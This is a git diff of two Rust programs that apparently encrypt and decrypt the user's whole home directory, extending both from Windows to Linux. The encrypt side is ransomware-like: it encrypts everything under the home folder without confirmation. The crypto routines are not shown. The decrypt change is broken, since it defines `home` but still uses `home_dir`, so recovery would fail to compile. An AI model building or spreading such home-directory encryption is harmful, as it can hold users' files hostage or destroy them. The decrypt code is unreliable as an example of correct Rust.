diff --git a/src/decrypt.rs b/src/decrypt.rs
index f88b819..bd431c4 100644
--- a/src/decrypt.rs
+++ b/src/decrypt.rs
@@ -3,7 +3,10 @@ use crypto::decrypt_directory;
 use std::env;
 
 fn main() {
-    let home_dir = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string());
+    #[cfg(target_os = "windows")]
+    let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
+    #[cfg(target_os = "linux")]
+    let home: String = env::var("HOME").unwrap();
     decrypt_directory(&home_dir).unwrap();
     
 }
diff --git a/src/encrypt.rs b/src/encrypt.rs
index 5f1ea48..0ddb3a5 100644
--- a/src/encrypt.rs
+++ b/src/encrypt.rs
@@ -3,7 +3,10 @@ use crypto::encrypt_directory;
 use std::env;
 
 fn main() {
+    #[cfg(target_os = "windows")]
     let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
+    #[cfg(target_os = "linux")]
+    let home: String = env::var("HOME").unwrap();
     encrypt_directory(&home).unwrap(); // I know this many unwraps look
                                                         // suspicious, but the chance of this
                                                         // failing is less than a solar flare.